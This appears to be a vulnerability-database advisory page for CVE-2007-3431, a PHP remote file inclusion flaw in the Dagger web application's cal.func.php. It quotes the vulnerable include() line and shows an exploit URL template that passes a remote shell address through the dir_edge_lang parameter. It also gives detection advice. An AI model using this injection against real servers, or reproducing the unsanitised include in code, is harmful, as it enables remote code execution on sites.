CVE-2007-3431

published 2007-06-27

CVE-2007-3431: PHP remote file inclusion vulnerability in cal.func.php in Valerio Capello Dagger - The Cutting Edge r23jan2007 allows remote attackers to execute arbitrary…

Priority P3 55 medium 6.8 CVSS 2.0

AV N AC M Au N C P I P A P

EXPLOIT

PHP remote file inclusion vulnerability in cal.func.php in Valerio Capello Dagger - The Cutting Edge r23jan2007 allows remote attackers to execute arbitrary PHP code via a URL in the dir_edge_lang parameter.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
valerio_capello	dagger_the_cutting_edge	—	—

Detection & IOCs extracted from sources · hover to see the quote

path cal.func.php↗

url http://kent.dl.sourceforge.net/sourceforge/dagger/dagger_r23jan2007.zip↗

command http://www.site.com/[path]/cal.func.php?dir_edge_lang=[SHELL]↗

• → Monitor HTTP requests targeting cal.func.php with a URL-like value in the dir_edge_lang query parameter, which is the RFI injection point. ↗
• → The vulnerable code path is the include() call in cal.func.php that directly concatenates the unsanitised dir_edge_lang parameter: include($dir_edge_lang.'cal_lang.inc.php'); — any external URL supplied here will be fetched and executed. ↗

• · Exploitation requires allow_url_include (and allow_url_fopen) to be enabled in the PHP configuration; without it the remote file inclusion cannot fetch an external shell. ↗

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.